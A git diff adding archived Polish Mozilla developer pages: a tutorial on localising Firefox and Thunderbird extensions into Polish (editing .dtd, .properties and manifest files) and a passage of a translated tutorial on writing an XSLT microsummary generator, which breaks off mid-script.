+ <li><a href="/en/Extension_Packaging" title="en/Extension_Packaging">Extension Packaging</a>: specific information about how to package extensions</li>
+ <li><a href="/en/Theme_Packaging" title="en/Theme_Packaging">Theme Packaging</a>: specific information about how to package themes</li>
+ <li><a href="/en/Multiple_Item_Packaging" title="en/Multiple_Item_Packaging">Multiple-item Extension Packaging</a>: specific information about multiple-item extension XPIs</li>
+ <li><a href="/en/XUL_Application_Packaging" title="en/XUL_Application_Packaging">XUL Application Packaging</a>: specific information about how to package XULRunner applications</li>
+ <li><a href="/en/Chrome_Registration" title="en/Chrome_Registration">Chrome Registration</a></li>
+ <li><a href="/en-US/docs/Mozilla/Tech/XUL/Printing">Printing in XUL Apps</a></li>
+ </ul>
+<p></p><p></p>
+<h3 id="Wi.C4.99cej_informacji" name="Wi.C4.99cej_informacji">Więcej informacji</h3>
+<p>Poniższe strony dla programistów zawierają przykłady i opisują poszczególne tematy:</p>
+<p><a href="/pl/XUL" title="pl/XUL">XUL</a>; <a href="/pl/Nakładki_XUL" title="pl/Nakładki_XUL">Nakładki XUL</a>; <a href="/pl/Rozszerzenia" title="pl/Rozszerzenia">Tworzenie rozszerzeń</a>; <a href="/pl/XULRunner" title="pl/XULRunner">XULRunner</a>; <a href="/pl/Motywy" title="pl/Motywy">Tworzenie motywów</a>; <a href="/pl/DOM" title="pl/DOM">DOM</a>; <a href="/pl/RDF" title="pl/RDF">RDF</a>; <a href="/pl/Storage" title="pl/Storage">Storage</a>; <span class="comment"><a href="/pl/Przeglądarka pomocy">Tworzenie dokumentacji pomocy</a></span></p>
diff --git a/files/pl/tutorial_lokalizacji_rozszerzeń_do_firefoksa_i_thunderbirda_dla_wersji_1.0_i_wyższych/index.html b/files/pl/tutorial_lokalizacji_rozszerzeń_do_firefoksa_i_thunderbirda_dla_wersji_1.0_i_wyższych/index.html
new file mode 100644
index 0000000000..4646bd6776
--- /dev/null
+++ b/files/pl/tutorial_lokalizacji_rozszerzeń_do_firefoksa_i_thunderbirda_dla_wersji_1.0_i_wyższych/index.html
@@ -0,0 +1,141 @@
+---
+title: >-
+ Tutorial lokalizacji rozszerzeń do Firefoksa i Thunderbirda dla wersji 1.0 i
+ wyższych
+slug: >-
+ Tutorial_lokalizacji_rozszerzeń_do_Firefoksa_i_Thunderbirda_dla_wersji_1.0_i_wyższych
+tags:
+ - Dodatki
+ - Rozszerzenia
+ - Wszystkie_kategorie
+---
+<p>
+</p>
+<h3 id="Wprowadzenie"> Wprowadzenie </h3>
+<p>Aby dobrze zlokalizować na język polski rozszerzenie potrzeba (nie)dużo wiedzy i samozaparcia.
+Wbrew pozorom nie jest to jednak takie trudne i mając trochę wiedzy komputerowej można szybko nauczyć się tej magii. </p>
+<h4 id="Potrzebna_wiedza:">Potrzebna wiedza:</h4>
+<ul><li> Trochę umiejętności obsługi komputera i programów
+</li><li> Znajomość języka angielskiego
+</li><li> Znajomość języka polskiego (dysleksja i dysgrafia dyskwalifikują chętnego)
+</li></ul>
+<p><br>
+</p>
+<h4 id="Potrzebne_narz.C4.99dzia_.28najprostszy_zestaw.29">Potrzebne narzędzia (najprostszy zestaw)</h4>
+<ul><li> Edytor tekstu z możliwością kodowania UTF-8 i wyłączenia BOM (ang. Byte Order Mark - znacznik kolejności bajtów). Zalecany przez moją osobę - <a class="external" href="http://www.pspad.com/en/">PSPad</a>. Posiada jeszcze wiele innych przydatnych podczas pracy lokalizatora funkcji, no i jest oczywiście freeware!
+</li><li> Kompresor, dekompresor plików - każdy, który dobrze radzi sobie z plikami spakowanymi za pomocą kompresji <code>.zip</code>. Moje zalecenie - <a class="external" href="http://pl.wikipedia.org/wiki/Total_Commander">Total Commander</a> - Tak! Otóż TC z zainstalowanymi wtyczkami WCX to jest totalne ułatwienie pracy z rozszerzeniami. Wszystkie potrzebne wtyczki posiada wersja <a class="external" href="http://totalcmd.pl/powerpack">TC PowerPack</a>.
+</li></ul>
+<h3 id="Jak.3F"> Jak? </h3>
+<p>Wiedza jest, narzędzia też, no to zaczynamy odczarowywać rozszerzenia i zajrzyjmy do ich wnętrza. Jak? Prosta sprawa. Rozszerzenia to nic innego niż archiwum <code>.zip</code>, ale zamiast rozszerzenia <code>.zip</code> posiadają rozszerzenie pliku <code>.xpi</code>. Skoro <code>.xpi</code> to nic innego niż <code>.zip</code>, więc potraktujmy je jakimś dekompresorem. No i cóż się okazuje? W środku znajdują się katalogi i pliki mniej więcej o takiej strukturze:
+</p>
+<h4 id="Katalogi:">Katalogi:</h4>
+<ul><li> <code>chrome</code> - właściwe bebechy rozszerzenia
+</li><li> <code>default</code> - domyślne ustawienia rozszerzenia
+</li></ul>
+<h4 id="Pliki">Pliki</h4>
+<ul><li> <code>chrome.manifest</code> - plik instalacyjny
+</li><li> <code>install.rdf</code> - plik instalacyjny
+</li></ul>
+<p>Ale znowu niespodzianka. Katalog "<code>chrome</code>" zawiera znowu jakiś spakowany plik o rozszerzeniu <code>.jar</code>. Taka budowa rozszerzenia wskazuje, że działa ono także w systemie Linux. Bez paniki. Plik <code>.jar</code>, to nic innego jak plik <code>.zip</code> tylko z rozszerzeniem <code>.jar</code>. Tak więc dekompresor szybciutko daje sobie z nim radę i w środku znowu widzimy katalogi:
+</p>
+<ul><li> <code>content</code> - to budowa rozszerzenia pliki <code>.xul</code> i <code>.js</code>
+</li><li> <code>locale</code> - to nas najbardziej interesuje, tu są katalogi i pliki językowe
+</li><li> <code>skin</code> - obrazki, plik <code>.css</code>
+</li></ul>
+<p>Skoro przebrnęliśmy przez gąszcz spakowanych archiwów, katalogów i plików, wiemy co w nich się znajduje - przedpole zostało przygotowane. Zabierajmy się zatem do roboty.
+</p>
+<h3 id="locale"> locale </h3>
+<p>Jak wcześniej wspomniałem to co nas najbardziej interesuje, to katalog "<code>locale</code>", w którym znajdują się podkatalogi lokalizacji tzn. języków na jakie to rozszerzenie zostało przetłumaczone. Jeśli w nim znajduje się katalog "<code>pl-PL</code>" lub "<code>pl</code>" to nie mamy tutaj nic do roboty, bo już ktoś zrobił to co my chcieliśmy zrobić. Jeśli natomiast takiego katalogu nie ma, to jest robota dla nas.
+</p><p>Ponieważ dla wszystkich aplikacji Mozilli podstawowym językiem jest angielski-amerykański (en-US), on też posłuży nam jako podstawa tłumaczenia na język polski, a robimy to w następujący sposób:
+</p>
+<ul><li> kopiujemy katalog "<code>en-US</code>" w dowolne miejsce na dysku
+</li><li> zmieniamy mu nazwę na "<code>pl-PL</code>"
+</li><li> przystępujemy do tłumaczenia
+</li></ul>
+<p>Zanim jednak zaczniemy tłumaczenie proponuję zainstalowanie rozszerzenia w wersji angielskiej (jeśli nie ma pliku przeznaczonego dla konkretnej wersji językowej programu, to domyślnie instaluje się wersja angielska). Będzie łatwiej wykonywać tłumaczenie widząc umiejscowienie tłumaczonych elementów.
+</p><p><em>No to teraz przypatrzmy się, co znajduje się w tym katalogu lokalizacji.</em>
+</p><p>Otóż, może w nim znajdować się kolejny podkatalog albo pliki. Jeśli jest podkatalog, to interesujące nas pliki będą wewnątrz tego podkatalogu i trzeba do nich dotrzeć. Niemniej w obu przypadkach docieramy do następujących plików:
+</p>
+<ul><li> <code>contents. rdf</code> - dane instalacyjne (czasami może go nie być, dane instalacyjne zostały umieszczone we wcześniejszych plikach instalacyjnych)
+</li><li> pliki z rozszerzeniem <code>.dtd</code> lub <code>.ent</code> - dane z tych plików pobierane są przez pliki <code>*.xul</code>
+</li><li> pliki z rozszerzeniem <code>.properties</code> - dane z tych plików pobierane są przez pliki <code>*.js</code>
+</li></ul>
+<p>Wszystkie te pliki zawierają elementy, które trzeba przetłumaczyć. Uruchamiamy edytor tekstu (przypominam o ustawieniu edytora na kodowanie <strong>UTF-8</strong> i nie wstawianie BOM) i zacznijmy od pliku "<code>contents.rdf</code>".
+</p>
+<h3 id="contents.rdf"><code>contents.rdf</code></h3>
+<p>Zmieniamy w nim następujące elementy:
+<code>en-US</code> na <code>pl-PL</code>&lt;/li&gt;&lt;/ul&gt;
+Jeśli są:
+- English (US) na Polski (PL)
+- <code>chrome:author="xxxxxxxxxx"</code> na <code>chrome:author="twoje_nazwisko"</code>
+</p>
+<h3 id=".dtd"><code>.dtd</code></h3>
+<p><em>Teraz plik <code>.dtd</code></em>:
+Znajdujemy w nim wiersze wyglądające mniej więcej tak:
+</p>
+<pre>&lt;!ENTITY xxxxxxxxxxxx "Zzzzzzzzz"&gt;</pre>
+<p><em>gdzie:</em> <code>Zzzzzzzzz</code> jest elementem do tłumaczenia, czyli tłumaczymy to co znajduje się pomiędzy znakami cytowania <code>" "</code>. </p><p>Należy zwrócić baczną uwagę, aby nie zgubić żadnych innych znaków w encji (entity), bo wówczas po zainstalowaniu rozszerzenia będziemy mieli doczynienie ze zjawiskiem "<strong>czerwonych znaków</strong>" na dole okna przeglądarki lub nie będzie działało rozszerzenie.
+<strong>Uwaga!</strong> W tłumaczonym tekście nie wolno używać następujących znaków:
+</p>
+<pre>Niedozwolone Zamienniki
+ &amp; &amp;amp;
+ &lt; &amp;lt;
+ &gt; &amp;gt;
+ " &amp;quot;
+  % &amp;#037;
+ ' &amp;apos;
+</pre>
+<h3 id=".properties"><code>.properties</code></h3>
+<p>No to jeszcze tylko plik <code>*.properties</code>. Ten znowu wygląda inaczej - nie mogliby jakoś tego ujednolicić? No niestety nie, bo inne są wymagania i przetwarzanie w plikach <code>*.xul</code> i <code>*.js</code>. Wiersze w tym pliku mają postać:
+<code>xxxxxxxxxx=Zzzzzzzzz</code>. Proste! No tak - proste i łatwo określić co się w nich tłumaczy. Wszystko po znaku równości (<code>=</code>).
+</p><p><strong>Uwaga!</strong> W tłumaczonym tekście nie wolno używać następujących znaków:
+</p>
+<pre>Niedozwolone Zamienniki
+ " \"
+ ' \'
+ \ \\
+</pre>
+<p>Czyli dany znak trzeba poprzedzić odwróconym ukośnikiem "<code>\</code>"
+</p>
+<h3 id="Kilka_uwag_na_koniec"> Kilka uwag na koniec</h3>
+<p>Uff! Robota z tłumaczeniem zakończona. Teraz trzeba uporządkować ten cały bałagan i sprawdzić nasz wysiłek intelektualny i umysłowy, a więc spakować wszystkie pliki i katalogi tak, aby struktura ich wyglądała jak na początku i zainstalować rozszerzenie.
+</p><p><em>Zabieramy się za to w następujący sposób:</em>
+</p>
+<ul><li> Kopiujemy katalog "<code>pl-PL</code>" do katalogu "<code>locale</code>"
+</li><li> Usuwamy z niego wszystkie pozostałe lokalizacje
+</li><li> Pakujemy katalogi znajdujące się poprzednio w archiwum <code>*.jar</code> do takiego samego archiwum (plik <code>.zip</code> z nazwą <code>.jar</code>) i umieszczamy go w katalogu <code>chrome</code>
+</li></ul>
+<p>Teraz należałoby wszystkie pliki i katalogi spakować do archiwum <code>*.xpi</code>, ale to za chwilę, bo w plikach instalacyjnych należy dokonać kilku zmian, tak aby nasza nowa lokalizacja została rozpoznana przez aplikację. W tym celu musimy wyedytować pliki <code>install.rdf</code> i <code>chrome.manifest</code>:
+</p>
+<h4 id="chrome.manifest"><code>chrome.manifest</code></h4>
+<p>W pliku <code>chrome.manifest</code> w wierszu wyglądającym mniej więcej tak:
+</p>
+<pre>locale console2 en-US jar:chrome/console2.jar!/locale/en-US/console2/ </pre>
+<p><em>gdzie:</em> <code>console2</code> w tym przykładzie są nazwami katalogów rozszerzenia <code>Console2</code>, w innym będą inne nazwy, zmieniamy "<code>en-US</code>" na "<code>pl-PL</code>"
+</p><p>Pozostałe takie wiersze z określeniami innych lokalizacji usuwamy.
+</p>
+<h4 id="install.rdf"><code>install.rdf</code></h4>
+<p>W pliku <code>install.rdf</code> w wierszu o takim wyglądzie:
+</p>
+<pre>&lt;description&gt;Krótki_opis_rozszerzenia.&lt;/description&gt;</pre> <code>Krótki_opis_rozszerzenia</code> jest po angielsku, zamieniamy na opis po polsku.
+<p><em>Jeśli jest wiersz:</em>
+</p>
+<pre>&lt;em:locale&gt;locale/en-US/jakaś_nazwa/&lt;em:locale&gt;</pre>
+<p>zmieniamy w nim "<code>en-US</code>" na "<code>pl-PL</code>", pozostałe podobne wiersze usuwamy.
+Teraz już ostatni krok przed instalacją rozszerzenia - pakujemy wszystkie katalogi i pliki do archiwum <code>.zip</code> z rozszerzeniem <code>.xpi</code>.
+</p><p>Teraz sprawdzenie tego co zrobiliśmy, czyli instalacja naszego rozszerzenia i później jego korekty.
+</p><p>Jeśli dotrwałeś do tego momentu, to znaczy, że jesteś zdesperowany, aby tłumaczyć rozszerzenia, zatem należy ci się nagroda.
+</p><p>Jak wcześniej wspomniałem polecam do pracy z rozszerzeniami <a class="external" href="http://pl.wikipedia.org/wiki/Total_Commander">Total Commandera</a> z zainstalowanymi wtyczkami <code><a class="external" href="http://totalcmd.pl/powerpack">WCX</a></code>. Dzięki nim odpada cały galimatias z rozpakowywaniem i pakowaniem archiwów. Po prostu archiwa otwiera i operuje się na nich jak na zwykłych katalogach. Pozostaje tylko końcowe spakowanie do pliku <code>*.xpi</code>, które też można ułatwić maksymalnie.
+</p>
+<h3 id="Po.C5.BCyteczne_odno.C5.9Bniki">Pożyteczne odnośniki</h3>
+<ol><li> <a class="external" href="http://venus.ci.uw.edu.pl/~milek/slowniki/zasady.htm">Przekład tekstów informatycznych na polski</a>
+</li><li> <a class="external" href="http://www.aries.com.pl/grzegorzj/gram/gram00.html">Gramatyka języka polskiego</a>
+</li><li> <a href="pl/Rozszerzenia">Mozilla Developer Center po polsku</a>
+</li><li> <a class="external" href="http://kb.mozillazine.org/Getting_started_with_extension_development">Tworzenie rozszerzeń na MozzilaZine</a>
+</li><li> <a class="external" href="http://roachfiend.com/archives/2004/12/08/how-to-create-firefox-extensions/">Tworzenie rozszerzeń</a>
+</li><li> <a class="external" href="http://www.orablogs.com/duffblog/archives/000536.html">"&gt;Tworzenie rozszerzeń</a>
+</li><li> <a class="external" href="http://sjp.pwn.pl/">Słownik Języka Polskiego</a>
+</li></ol>
+<p>-- <br>
+Napisał: <strong>Leszek (Teo) Życzkowski</strong>
+</p>
diff --git a/files/pl/tworzenie_mikropodsumowania/index.html b/files/pl/tworzenie_mikropodsumowania/index.html
new file mode 100644
index 0000000000..a5d8492f35
--- /dev/null
+++ b/files/pl/tworzenie_mikropodsumowania/index.html
@@ -0,0 +1,214 @@
+---
+title: Tworzenie mikropodsumowania
+slug: Tworzenie_mikropodsumowania
+tags:
+ - Mikropodsumowania
+ - Wszystkie_kategorie
+translation_of: Archive/Mozilla/Creating_a_microsummary
+---
+<p>
+  </p>
+<p>
+ Generator mikropodsumowań jest to zestaw instrukcji do tworzenia mikropodsumowania na bazie treści strony WWW. Strony WWW mogą odwoływać się do generatorów przez elementy <code>&lt;link rel="microsummary"&gt;</code> w elementach <code>&lt;head&gt;</code>. Generatory mogą także być niezależnie pobierane i instalowane przez użytkowników, jeśli zawierają listę stron z którymi współpracują.</p>
+<p>
+ W tym kursie zajmiemy się tworzeniem generatora mikropodsumowań dla <a class="external" href="http://www.spreadfirefox.com/">strony domowej Spread Firefox</a>, która wyświetla aktualną liczbę pobrań Firefoksa i podaje ją wraz z tekstem <cite>Pobrań Firefoksa:</cite>; na przykład: <cite>Pobrań Firefoksa: 174475447</cite>.</p>
+<p>
+ Stworzymy arkusz transformacji XSLT, który przekonwertuje stronę w jej mikropodsumowanie, nauczymy się określać z jakimi stronami pracuje generator i jak przystosować go do pobierania i instalacji.</p>
+<p>
+ W każdym kroku tworzenia arkusza transformacji oraz innych elementów kodu w tym kursie, nowy materiał będzie <b>pogrubiony</b>, aby ułatwić Ci poruszanie się po tekście.</p>
+<h2 id="Pocz.C4.85tki" name="Pocz.C4.85tki">
+ Początki</h2>
+<p>
+ Generatory są to dokumenty XML, których korzeniem (root element) jest element <code>&lt;generator&gt;</code> w przestrzeni nazw <cite><a class="external" href="http://www.mozilla.org/microsummaries/0.1" rel="freelink">http://www.mozilla.org/microsummaries/0.1</a></cite>. Aby rozpocząć tworzenie generatora, stwórz nowy, pusty plik tekstowy i dodaj deklarację XML oraz pusty znacznik <code>&lt;generator&gt;</code>:</p>
+<pre class="eval"><b>&lt;?xml version="1.0" encoding="UTF-8"?&gt;</b>
+<b>&lt;generator xmlns="<span class="nowiki">http://www.mozilla.org/microsummaries/0.1</span>"&gt;</b>
+<b>&lt;/generator&gt;</b>
+</pre>
+<h2 id="Nadawanie_nazwy" name="Nadawanie_nazwy">
+ Nadawanie nazwy</h2>
+<p>
+ Generatory powinny posiadać atrybut <code>name</code> opisujący mikropodsumowania, które te generatory tworzą. Nazwy powinny być wystarczająco dokładne, aby użytkownik miał świadomość jakie dane to mikropodsumowanie dostarcza. Ponieważ nasz generator będzie tworzył mikropodsumowania wyświetlające liczbę pobrań Firefoksa, nazwijmy je "Liczba pobrań Firefoksa":</p>
+<pre class="eval">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;generator xmlns="<span class="nowiki">http://www.mozilla.org/microsummaries/0.1</span>"
+ <b>name="Liczba pobrań Firefoksa"</b>&gt;
+&lt;/generator&gt;
+</pre>
+<h2 id="Dodawanie_arkusza_transformacji_XSLT" name="Dodawanie_arkusza_transformacji_XSLT">
+ Dodawanie arkusza transformacji XSLT</h2>
+<p>
+ Generatory muszą zawierać arkusze transformacji XSLT (znane także jako arkusze XSLT), które transformują treść strony w mikropodsumowanie. XSLT jest potężnym językiem do transformacji dokumentów w inne formy prezentacji tych samych danych.</p>
+<p>
+ Dodaj arkusz transformacji XSLT do generatora, poprzez dołączenie go wewnątrz elementu <code>&lt;template&gt;</code>:</p>
+<pre class="eval">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;generator xmlns="<span class="nowiki">http://www.mozilla.org/microsummaries/0.1</span>"
+ name="Liczba pobrań Firefoksa"&gt;
+ <b>&lt;template&gt;</b>
+ <b>&lt;transform xmlns="<span class="nowiki">http://www.w3.org/1999/XSL/Transform</span>" version="1.0"&gt;</b>
+ <b>&lt;/transform&gt;</b>
+ <b>&lt;/template&gt;</b>
+&lt;/generator&gt;
+</pre>
+<p>
+ Zwróć uwagę, że chociaż generatory mikropodsumowań mogą obsługiwać dowolny XSLT, także taki, który tworzy sformatowany tekst, Firefox aktualnie obsługuje tylko czysty tekst jako wynik przetwarzania XSLT.</p>
+<h2 id="Okre.C5.9Blanie_typu_wyj.C5.9Bcia" name="Okre.C5.9Blanie_typu_wyj.C5.9Bcia">
+ Określanie typu wyjścia</h2>
+<p>
+ Jako, że arkusz transformacji XSLT ma tworzyć tekst mikropodsumowania, powinniśmy dodać element <code>&lt;output&gt;</code> XSLT:</p>
+<pre class="eval">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;generator xmlns="<span class="nowiki">http://www.mozilla.org/microsummaries/0.1</span>"
+ name="Liczba pobrań Firefoksa"&gt;
+ &lt;template&gt;
+ &lt;transform xmlns="<span class="nowiki">http://www.w3.org/1999/XSL/Transform</span>" version="1.0"&gt;
+ <b>&lt;output method="text"/&gt;</b>
+ &lt;/transform&gt;
+ &lt;/template&gt;
+&lt;/generator&gt;
+</pre>
+<h2 id="U.C5.BCycie_prostego_XSLT_.3Ctemplate.3E" name="U.C5.BCycie_prostego_XSLT_.3Ctemplate.3E">
+ Użycie prostego XSLT <code>&lt;template&gt;</code></h2>
+<p>
+ Procesor XSLT transformuje dokumenty porównując każdy element <code>&lt;template&gt;</code> w arkuszu transformacji ze zbiorem węzłów w dokumencie. Kiedy atrybut <code>match</code> elementu <code>&lt;template&gt;</code> pasuje do węzła, procesor wykonuje transformację określoną przez zawartość tego elementu.</p>
+<p>
+ Jest to potężny mechanizm, ponieważ pozwala trawersować drzewo węzłów dokumentu, rekursywnie tworząc wyjście bazujące na zawartości samego dokumentu. Ale w naszym przypadku, kiedy tworzymy mikropodsumowanie dla strony Spread Firefox, potrzebujemy tylko jednego elementu <code>&lt;template&gt;</code>, który pasuje do korzenia (root node) dokumentu i jest wykonywany raz:</p>
+<pre class="eval">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;generator xmlns="<span class="nowiki">http://www.mozilla.org/microsummaries/0.1</span>"
+ name="Liczba pobrań Firefoksa"&gt;
+ &lt;template&gt;
+ &lt;transform xmlns="<span class="nowiki">http://www.w3.org/1999/XSL/Transform</span>" version="1.0"&gt;
+ &lt;output method="text"/&gt;
+ <b>&lt;template match="/"&gt;</b>
+ <b>&lt;/template&gt;</b>
+ &lt;/transform&gt;
+ &lt;/template&gt;
+&lt;/generator&gt;
+</pre>
+<h2 id="Do.C5.82.C4.85czanie_licznika_pobra.C5.84" name="Do.C5.82.C4.85czanie_licznika_pobra.C5.84">
+ Dołączanie licznika pobrań</h2>
+<p>
+ Aby dołączyć licznik pobrań do wyjścia arkusza transformacji XSLT, musimy dodać element <code>&lt;value-of&gt;</code> do szablonu. Atrybut <code>select</code> tego elementu zawiera wyrażenie XPath, które wskazuje na węzeł zawierający liczbę pobrań.</p>
+<p>
+ XPath jest językiem służącym do identyfikacji węzłów w dokumentach HTML/XML. Posiada także podstawowe funkcje do manipulacji tymi węzłami i ich zawartością. Najłatwiej stworzyć wyrażenie XPath, które wskazuje na węzeł, który chcesz uchwycić, korzystając z <a class="link-https" href="https://addons.mozilla.org/firefox/1095/">rozszerzenia XPath Checker</a>.</p>
+<p>
+ Zainstaluj to rozszerzenie (uruchamiając ponownie Firefoksa, aby zakończyć instalację), a następnie wejdź na stronę <a class="external" href="http://www.spreadfirefox.com/">Spread Firefox</a>, znajdź licznik pobrań Firefoksa (duża liczba na górze strony w prawej kolumnie), kliknij prawym klawiszem myszy na tym elemencie i z menu kontekstowego wybierz <cite>View XPath (Pokaż XPath)</cite>.</p>
+<p>
+ XPath Checker otworzy nowe okno. Będzie w nim pole <cite>XPath</cite> zawierające wyrażenie XPath wskazujące na węzeł licznika pobrań: <cite>id('download-count')</cite>.</p>
+<p>
+ Dodaj element <code>&lt;value-of&gt;</code> do elementu <code>&lt;template&gt;</code>. Ustaw atrybut <code>select</code> tego elementu na wyrażenie XPath:</p>
+<pre class="eval">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;generator xmlns="<span class="nowiki">http://www.mozilla.org/microsummaries/0.1</span>"
+ name="Licznik pobrań Firefoksa"&gt;
+ &lt;template&gt;
+ &lt;transform xmlns="<span class="nowiki">http://www.w3.org/1999/XSL/Transform</span>" version="1.0"&gt;
+ &lt;output method="text"/&gt;
+ &lt;template match="/"&gt;
+ <b>&lt;value-of select="id('download-count')"/&gt;</b>
+ &lt;/template&gt;
+ &lt;/transform&gt;
+ &lt;/template&gt;
+&lt;/generator&gt;
+</pre>
+<h2 id="Dodawanie_tekstu" name="Dodawanie_tekstu">
+ Dodawanie tekstu</h2>
+<p>
+ Aby dodać napis <cite>Pobrań Firefoksa:&gt;</cite> do mikropodsumowania, potrzebujemy do elementu <code>&lt;template&gt;</code> dodać element <code>&lt;text&gt;</code> zawierający wybrany napis.</p>
+<p>
+ Dodaj element <code>&lt;text&gt;</code> do szablonu XSLT z treścią <cite>Pobrań Firefoksa:</cite>:</p>
+<pre class="eval">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;generator xmlns="<span class="nowiki">http://www.mozilla.org/microsummaries/0.1</span>"
+ name="Licznik pobrań Firefoksa"&gt;
+ &lt;template&gt;
+ &lt;transform xmlns="<span class="nowiki">http://www.w3.org/1999/XSL/Transform</span>" version="1.0"&gt;
+ &lt;output method="text"/&gt;
+ &lt;template match="/"&gt;
+ <b>&lt;text&gt;Pobrań Firefoksa: &lt;/text&gt;</b>
+ &lt;value-of select="id('download-count')"/&gt;
+ &lt;/template&gt;
+ &lt;/transform&gt;
+ &lt;/template&gt;
+&lt;/generator&gt;
+</pre>
+<p>
+ Zwróć uwagę, że, w odróżnieniu od języka HTML, gdzie białe znaki są prezentowane w postaci pojedynczej spacji, przestrzeń między znacznikami XSLT nie zostanie włączona do wyjścia XSL. Pamiętaj, aby dodać spację na końcu, wewnątrz znacznika, aby oddzielić napis od liczby.</p>
+<p>
+ Po tej zmianie, właśnie skończyliśmy pisać arkusz transformacji XSLT, który konwertuje stronę domową Spread Firefox do postaci mikropodsumowania.</p>
+<h2 id="Okre.C5.9Blanie_listy_stron_na_kt.C3.B3rych_generator_dzia.C5.82a" name="Okre.C5.9Blanie_listy_stron_na_kt.C3.B3rych_generator_dzia.C5.82a">
+ Określanie listy stron na których generator działa</h2>
+<p>
+ Teraz, kiedy napisaliśmy już arkusz transformacji, musimy określić do jakich stron on pasuje. Gdybyśmy byli twórcami strony Sread Firefox, moglibyśmy po prostu dodać odnośnik do generatora wewnątrz samej stron, dodając znacznik <code>&lt;link rel="microsummary"&gt;</code> w sekcji <code>&lt;head&gt;</code>:</p>
+<pre class="eval">&lt;head&gt;
+ ...
+ <b>&lt;link rel="microsummary" href="path/to/our/generator.xml"&gt;</b>
+&lt;/head&gt;
+</pre>
+<p>
+ Niestety, nie jesteśmy nimi. Możemy jednak określić stronę z która generator współpracuję wewnątrz samego generatora, a następnie udostępnić nasz generator do pobrania i instalacji innym. Aby określić strony, na których generator działa, należy użyć elementu <code>&lt;pages&gt;</code> wewnątrz elementu <code>&lt;generator&gt;</code>:</p>
+<pre class="eval">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;generator xmlns="<span class="nowiki">http://www.mozilla.org/microsummaries/0.1</span>"
+ name="Licznik pobrań Firefoksa"&gt;
+ &lt;template&gt;
+ &lt;transform xmlns="<span class="nowiki">http://www.w3.org/1999/XSL/Transform</span>" version="1.0"&gt;
+ &lt;output method="text"/&gt;
+ &lt;template match="/"&gt;
+ &lt;text&gt;Pobrań Firefoksa &lt;/text&gt;
+ &lt;value-of select="id('download-count')"/&gt;
+ &lt;/template&gt;
+ &lt;/transform&gt;
+ &lt;/template&gt;
+ <b>&lt;pages&gt;</b>
+ <b>&lt;/pages&gt;</b>
+&lt;/generator&gt;
+</pre>
+<p>
+ Element <code>&lt;pages&gt;</code> może zawierać dowolną liczbę elementów <code>&lt;include&gt;</code> oraz <code>&lt;exclude&gt;</code>, określających strony na których, generator, odpowiednio, działa, lub nie działa.</p>
+<p>
+ Aby sprawić, by generator działał na danej stronie, dodaj element <code>&lt;include&gt;</code>, i jako zawartość podaj mu wyrażenie regularne pasujące do adresu tej strony. Aby określić, że generator nie pracuje z daną stroną, dodaj element <code>&lt;exclude&gt;</code> i jako zawartość podaj wyrażenie regularne pasujące do adresu strony.</p>
+<p>
+ Domyślnie, generatory nie pracują z żadną stroną, więc musisz bezpośrednio określić listę stron, z którymi współpracują, i nie musisz wyłączać żadnych stron, chyba, że wcześniej je włączyłeś.</p>
+<p>
+ Dodaj element <code>&lt;include&gt;</code> pasujący do strony domowej Spread Firefox:</p>
+<pre class="eval">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;generator xmlns="<span class="nowiki">http://www.mozilla.org/microsummaries/0.1</span>" name="Licznik pobrań Firefoksa"&gt;
+ &lt;template&gt;
+ &lt;transform xmlns="<span class="nowiki">http://www.w3.org/1999/XSL/Transform</span>" version="1.0"&gt;
+ &lt;output method="text"/&gt;
+ &lt;template match="/"&gt;
+ &lt;text&gt;Pobrań Firefoksa &lt;/text&gt;
+ &lt;value-of select="id('download-count')"/&gt;
+ &lt;/template&gt;
+ &lt;/transform&gt;
+ &lt;/template&gt;
+ &lt;pages&gt;
+ <b>&lt;include&gt;<span class="nowiki">http://(www\.)?spreadfirefox\.com/(index\.php)?</span>&lt;/include&gt;</b>
+ &lt;/pages&gt;
+&lt;/generator&gt;
+</pre>
+<h2 id="Udost.C4.99pnianie_generatora_do_pobrania" name="Udost.C4.99pnianie_generatora_do_pobrania">
+ Udostępnianie generatora do pobrania</h2>
+<p>
+ Kiedy nasz generator działa już ze stroną Spread Firefox, ostatnią rzeczą, jaka nam pozostała, to sprawić, aby można go było pobrać. Aby to zrobić, musimy postawić stronę WWW i stworzyć odnośnik JavaScript na tej stronie, który wywoła metodę Firefoksa <cite>window.sidebar.addMicrosummaryGenerator()</cite>, aby pobrać i zainstalować generator.</p>
+<p>
+ Na przykład, jeśli wystawisz plik generatora w sieci pod adresem <a class="external" href="http://people.mozilla.com/~myk/microsummaries/tutorial/sfx-generator.xml" rel="freelink">http://people.mozilla.com/~myk/micro...-generator.xml</a>, i chcesz, aby użytkownicy mogli go zainstalować z <a class="external" href="http://people.mozilla.com/~myk/microsummaries/tutorial/index.html" rel="freelink">http://people.mozilla.com/~myk/micro...ial/index.html</a>, musisz dodać poniższy kod do pliku <cite>index.html</cite> page:</p>
+<pre class="eval"><b>&lt;a href="javascript:window.sidebar.addMicrosummaryGenerator('<span class="nowiki">http://people.mozilla.com/~myk/microsummaries/tutorial/sfx-generator.xml</span>')"&gt;Zainstaluj mikropodsumowanie strony domowej Spread Firefox!&lt;/a&gt;</b>
+</pre>
+<p>
+ Niestety, naciśnięcie tego odnośnika w przeglądarkach nie obsługujących mikropodsumowań, wywoła błąd JavaScript, więc, aby to poprawić, powinniśmy sprawdzić, czy użytkownik korzysta z przeglądarki obsługującej mikropodsumowania i wyświetlić wyjaśnienie jeśli nie. Może to wyglądać na przykład tak:</p>
+<pre class="eval"><b>&lt;script&gt;</b>
+<b> const warning = "Ups! Potrzebujesz przeglądarki obsługującej mikropodsumowania jak Firefox 2.0, aby zainstalować i używać generatorów mikropodsumowań.";</b>
+<b> function addGenerator(url) {</b>
+<b> if (typeof window.sidebar == "object" &amp;&amp;</b>
+<b> typeof window.sidebar.addMicrosummaryGenerator == "function")</b>
+<b> window.sidebar.addMicrosummaryGenerator(url);</b>
+<b> else</b>
+<b> alert(warning);</b>
+<b> }</b>
+<b>&lt;/script&gt;</b>
